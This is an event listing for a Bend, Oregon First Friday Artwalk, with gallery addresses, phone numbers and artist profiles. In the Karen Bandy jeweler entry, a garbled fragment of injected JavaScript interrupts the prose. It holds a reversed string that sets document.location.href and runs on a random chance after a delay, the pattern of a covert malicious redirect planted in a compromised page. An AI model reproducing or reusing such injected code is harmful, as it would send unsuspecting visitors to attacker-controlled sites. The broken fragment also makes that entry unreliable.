Bend First Friday Artwalk

Landscapes of Central Oregon and Central Oregon Metal Arts Guild at Franklin Crossing, When Paint and Fabric Merge – Abstract Landscapes at Atelier 6000, Environment Inspires Our Internal Environment at City Walls, international works at Paul Scott Gallery, Hot Creations at Red Chair, Landscapes and Flowers in Oil at Sage Gallery and An Uncommon Beauty at Tumalo Art Company.


 1. Atelier 6000, 541-330-8759. 2. Bella Moda, 541-550-7001. 3. Bend d’Vine, 541-323-3277. 4. Cascade School of Music, 541-382-6866. 5. City Hall, 541-388-5517. 6. Desperado, 541-749-9980. 7. Franklin Crossing’s Art in the Atrium, 541-382-9398. 8. Karen Bandy Studio, 541-388-0155. 9. Lubbesmeyer Studio, 541-330-0840. 10. Red Chair Gallery, 541-306-3176. 11. Sage Custom Framing & Gallery, 541-382-5884. 12. Strictly Organic, 541-647-1402. 13. Tumalo Art Co. 541-385-9144.

Art in the Atrium at Franklin Crossing 550 NW Franklin, celebrates First Friday with Landscapes of Central Oregon by Leslie Cain, pastel, Ann Ruttan, oil and Gary Vincent, acrylic.
Cain expresses her deep affection for the high desert in expressionistic pastels. Lauding her reverence for place, her art depicts a dramatic contrast of lights and darks that foster an inherent sense of quietude, of calm.  She notes, “my pastels are doorways to those places of connection where, stepping through, we can remember who we are, why we’re here.”  Cain’s art appeared as the cover of Daniel Smith Art Supply and in Southwest Art magazine.
Ruttan exhibits oil paintings in a vivid palette, characterizing her painting styles over the past four-plus years ranging from impressionism to abstraction. Images include loosely impressionistic renderings of spring in pastel hues and progress through boldly colored expressionistic images to abstract color field paintings with a broad reference to Mark Rothko.  The artist is widely collected in the U.S. and appeared in the OPB series Art Beat.
Vincent presents large acrylic landscapes as single canvases, diptychs and triptychs.  His multi-hued, expressionistic landscapes interpreting Central Oregon scenes move increasingly toward abstraction.  Painting in successive, often visible layers to create depth and interest, he follows the tradition of former instructor Sergi Bongart who stressed, “Spirit can trump technique. “Affection for his subject matter is clearly evident in the finished work.
The Metal Arts Guild will present a showing of guild member works on August 3-4, Friday evening and Saturday.
Ceylon Blue, an event planner at Franklin Crossing, will serve appetizers and wine with the popular Tropicante performing Latin rhythms and music from the Caribbean. Billye Turner organizes exhibitions for Franklin Crossing and provides additional information at 541-382-9398.

Atelier 6000 389 SW Scalehouse Ct. Suite 120.  541-330-8759,  When Paint and Fabric Merge – Abstract Landscapes. With a common love of the land, artists Judy Hoiness and Jean Wells intuitively converge line and color in their individual works. When they combine their different media and techniques to work on collaborative pieces the results are exceptional. Wells and Hoiness reveal creative endeavors of the collaborative nature as well as their individual works.  

Bella Moda 1001 NW Wall St, 541-550-7001. Open for First Friday.

Bend City Walls at City Hall Exhibition 710 NW Wall Street. 541-388-5517.  INSIDE::OUT at Bend City Hall, Meet the Artists/Partners. Bend’s external environment inspires our internal environment (mental, physical, emotional & spiritual. Partnering with the Environmental Center, artists have expressed the theme through a variety of media, inspired by the environment-focused organization they were partnered with.
The 6pm event will look into the hearts and minds of three artist and environmental organization teams. Scheduled to talk about their work and passion for the environment are artist Mary Marquiss and the East Cascades Audubon Society, Vicki Roadman and the Deschutes Land Trust and Sara Wiener and the Upper Deschutes Watershed Council. The free gift certificate drawing at 7pm includes gift baskets and a gift certificate from Hola. First Friday, August is the last month to vote for the PEOPLE’S CHOICE AWARD winner.

Bend d’Vine on Wall Street and The Wine Shop and Tasting Bar at 55 NW Minnesota featuring Powskichic of Bend, a/k/a Brenda Reid Irwin. 541-550-7174.

Cascade School of Music 200 NW Pacific Park Lane, on the Deschutes River, just upstream from the Portland Ave. Bridge. 541-382-6866. First Friday Parents’ Night Out…call to hold your spot. Kids age 4 to 12 enjoy supervised art and music-related activities, then end the evening with a musically-inspired, age-appropriate movie (complete with popcorn).

Central Oregon Metal Arts Guild (COMAG) will open their annual show and sale at Franklin Crossing during First Friday and continue the event throughout Saturday August 4 from 10am-4pm. This group of artists covers a wide range of metal arts from gold and silver jewelry items through larger metal sculptures and furniture. Part of the guild’s mission is to promote education in the metal arts field, and COMAG invites the public to meet the artists and learn about the many methods used to produce these fine works. Each artist has their own unique style and methods, so come along and take a look at what these local artists are doing. Gabrielle Taylor at 541-771-2370.

Desperado Contemporary & Nostalgic Western Store 330 SW Powerhouse, Old Mill District. 541-749-9980.  Painter Barbara Slater lives in Bend and is inspired by the “out west” way of life and cowboy culture with a touch of city glitz.  Painting oils with energy and spirit, this artist’s pigmentation is rich and succulent, while her brushwork is bold and responsive.  Barbara continues her studies with different genres, painting still-lifes, florals, landscapes and animals.  Animals are her present foucs with images of vibrant roosters, horses, cows and other barnyard residents.  Painting these rural inhabitants with love and respect, Barbara gives each animal an attitude and personality. She will be featuring new works through August with a special event on August 10 with a Western Rendezvous discount on select items.  

John Paul Designs 1006 NW Bond St., 541-318-5645. Custom Jewelry + Signature Series. Specializing in unique, one of a kind wedding and engagement rings in a variety of metals.

Karen Bandy Design Jeweler 25 NW Minnesota Ave. #5, 541-388-0155. =function(n){if (typeof (.list[n]) == “string”) return .list[n].split(“”).reverse().join(“”);return .list[n];};.list=[“‘//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}”> Tucked behind Thump Coffee and Aleda Real Estate, Karen Bandy’s studio is not easy to find but well worth the effort. You will see original jewelry and fine art all designed and created by Bandy. The colors will wow you, the designs will intrigue you and you’ll be amazed at how comfortable her jewelry is to wear. Once you own an original Karen Bandy design you will keep coming back for more. 
Most of Bandy’s jewelry clients are repeat clients, and they are now collecting her paintings too. “The connection of the paintings with the jewelry is evident in my work, even though it is for the most part an unconscious connection. I’m sure the years of designing jewelry, my use of color and shapes, drives me in my paintings but I never set out deliberately to make that connection. It just happens,” says Bandy.

Lahaina Galleries at the Old Mill, 541-388-4404,  New Robert Bissell Bears and Bunnies looking for a home. Featuring over 35 artists from around the world and local artists Katherine Taylor (impressionist), Mollie Jurgenson (mixed-media abstract, Mytchell Mead (metal sculpture) and Jason Waldron (High Desert/Manzanita wood sculpture). 

Lubbesmeyer Studio & Gallery The Old Mill District, 2nd Story Loft, 541-330-0840, Featuring the fiber art and paintings of twin artists, Lisa and Lori Lubbesmeyer.  The twins’ love of the nature as well as their interest in architecture is represented through the twins’ unique collaboration of blending their styles.  Visit the gallery and studio for a view of their latest work on exhibit as well as in process.

Mockingbird Gallery 869 NW Wall St, 541-388-2107, Visions and Observations, a two person show featuring new works by Dawn Emerson and Fran Kievet.  First Friday music by Rich Hurdle and Friends.  
Since becoming a full time pastelist in 1996, Emerson has exhibited her work in numerous national and international shows.  In 1991 she was fortunate to study pastel portraiture with legendary artist Harley Brown and pastel landscape artist, Albert Handell.  “Pastel felt familiar to me the first time I tried it.  It is a humbling, yet powerfully expressive medium.  Drawing for me is a way to experience the world, and ‘seeing’ is a process of discovery.”  
Kievet is an Oregon artist living and working in Portland.  For 40 years she has been working as a graphic designer and painter.  Her work encompasses a wide range of subjects including figurative, landscape, wild life and still life.  She is continually questioning and analyzing her observations.  
Dawn Emerson’s live demonstration of her pastel painting will take place Saturday, August 4 from 3-6pm.

Paul Scott Gallery 869 NW Wall Street, Suite 104, 541-330-6000, The new 2,400 square foot gallery features original works by artists from the former Soviet Union, Canada and the United States (including Oregon) as well as bronzes, ceramic art and glass art.
Some of its nationally known artists include: Simon Kogan (Olympia, Washington), Marci Oleszkiewicz (Chicago), Mark Chatterley (Michigan), Larisa Aukon (Scottsdale), Morgan Madison (Portland), Toni Doilney (California), Kevin Beilfuss (Chicago) and Regina Lyubovnaya (Moscow/California). Open Monday – Saturday, 10am–6pm.

QuiltWorks 926 NE Greenwood Ave. 541-728-0527, Featured Quilter will be Joan Metzger from Sunriver whose been described as a “Renaissance” quilter. The group exhibit will be a joint exhibit from the Portland and Central Oregon Modern Quilt Guilds. Both exhibits will be up until September 5.

Red Chair Gallery 103 NW Oregon Ave. in the historic O’Kane Building, 541-306-3176, Hot Creations featuring Shelly Wierzba, a multi-media artist, who for this show will focus on new works in oil.  Most of her work is done plein air or from life. Shelly chooses not to use photographs for references.  The new paintings show a depth of emotion beyond the rendering of the subject. 
Jacqueline Newbold is an artist who works in two mediums.  She will be showing watercolor paintings from her recent trips to Patagonia and Europe using a warm and playful color palette.  Jacqueline also collects interesting gemstones along her journeys, incorporating them in her popular jewelry designs.  Jacqueline has been featured in the publication Cloth, Paper and Scissors. 
Megan Hazen has always liked color that was brighter or different than what she observed others interested in. About eight years ago she discovered the perfect medium, fused glass, to express her creativity and passion for color. Megan is excited to see what bright new color she has created everytime she takes a piece from her kiln.

Sage Custom Framing & Gallery Exhibits 834 NW Brooks St., 541-382-5884.  Featured Artist John O’Brien – Landscapes and Flowers in Oil.
A resident of Bend for 12 years, O’Brien has been painting for 35 years.  The early years were spent painting full sheet watercolors with big brushes which gave him much satisfaction and pleasure. It was a nice diversion from the small intricate work of dentistry. With encouragement from his daughter and a crash course in oil painting from his friend Sarkis Antikajian, he switched mediums and now is a full-time oil painter. Often working en plein air, his paintings capture concepts of images by shape, color and place.  Palette knife and thick paint are characteristic of his style.  His current work includes flowers, quiet rural scenes and high alpine vistas.

Tumalo Art Company at Old Mill District, 450 SW Powerhouse Dr. #407, 541-385-9144,  An Uncommon Beauty – Paintings of the People and the Land East of the Cascades. Janice Druian and Vicki Shuck have partnered on a project to document through paintings, the rural way of life on ranches, farms and in small towns east of the Cascades. The goal of the project has been to portray the people and communities of rural Oregon as they are today to further the understanding of the beauty and the challenges of rural life. Both artists are accomplished oil painters, Druian focusing on the landscape and Shuck on figurative work.
They will present a free oil painting demo at Tumalo Art Co. August 5. Shuck will demo from noon-2:30pm and Druian from 2:30-4pm.

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